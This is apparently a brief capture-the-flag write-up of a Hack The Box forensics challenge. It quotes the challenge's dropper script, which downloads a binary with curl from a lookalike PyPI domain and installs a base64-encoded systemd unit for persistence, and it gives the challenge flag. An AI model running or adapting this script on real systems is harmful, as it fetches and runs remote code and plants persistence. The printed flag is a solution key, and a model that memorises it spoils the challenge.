# HTB Apoc 2023

## Forensic:

### extraterrestrial persistence:

It's was a simple challenge, So there was a given .sh file

`n=whoami h=hostname path='/usr/local/bin/service' if [[ "$n" != "pandora" && "$h" != "linux_HQ" ]]; then exit; fi`

`curl https://files.pypi-install.com/packeges/service -o $path`

`chmod +x $path`

`echo -e "W1VuaXRdCkRlc2NyaXB0aW9uPUhUQnt0aDNzM180bDEzblNfNHIzX3MwMDAwMF9iNHMxY30KQWZ0ZXI9bmV0d29yay50YXJnZXQgbmV0d29yay1vbmxpbmUudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90ClJlbWFpbkFmdGVyRXhpdD15ZXMKCkV4ZWNTdGFydD0vdXNyL2xvY2FsL2Jpbi9zZXJ2aWNlCkV4ZWNTdG9wPS91c3IvbG9jYWwvYmluL3NlcnZpY2UKCltJbnN0YWxsXQpXYW50ZWRCeT1tdWx0aS11c2VyLnRhcmdldA=="|base64 --decode > /usr/lib/systemd/system/service.service`&#x20;

`systemctl enable service.service`

I noticed the line

`echo -e "W1VuaXRdCkRlc2NyaXB0aW9uPUhUQnt0aDNzM180bDEzblNfNHIzX3MwMDAwMF9iNHMxY30KQWZ0ZXI9bmV0d29yay50YXJnZXQgbmV0d29yay1vbmxpbmUudGFyZ2V0CgpbU2VydmljZV0KVHlwZT1vbmVzaG90ClJlbWFpbkFmdGVyRXhpdD15ZXMKCkV4ZWNTdGFydD0vdXNyL2xvY2FsL2Jpbi9zZXJ2aWNlCkV4ZWNTdG9wPS91c3IvbG9jYWwvYmluL3NlcnZpY2UKCltJbnN0YWxsXQpXYW50ZWRCeT1tdWx0aS11c2VyLnRhcmdldA=="|base64 --decode`&#x20;

and pasted it in the terminal, Hit enter and got:

`[Unit] Description=HTB{th3s3_4l13nS_4r3_s00000_b4s1c} After=network.target network-online.target`

`[Service] Type=oneshot RemainAfterExit=yes`

`ExecStart=/usr/local/bin/service ExecStop=/usr/local/bin/service`

`[Install] WantedBy=multi-user.target`

The flag: **`HTB{th3s3_4l13nS_4r3_s00000_b4s1c}`**

![Design byJoanne Macon Dribbble](https://dribbble.com/shots/9515799-Personal-Brand-Logo?utm_source=Clipboard_Shot\&utm_campaign=jmvc\&utm_content=Personal%20Brand%20Logo\&utm_medium=Social_Share\&utm_source=Clipboard_Shot\&utm_campaign=jmvc\&utm_content=Personal%20Brand%20Logo\&utm_medium=Social_Share)
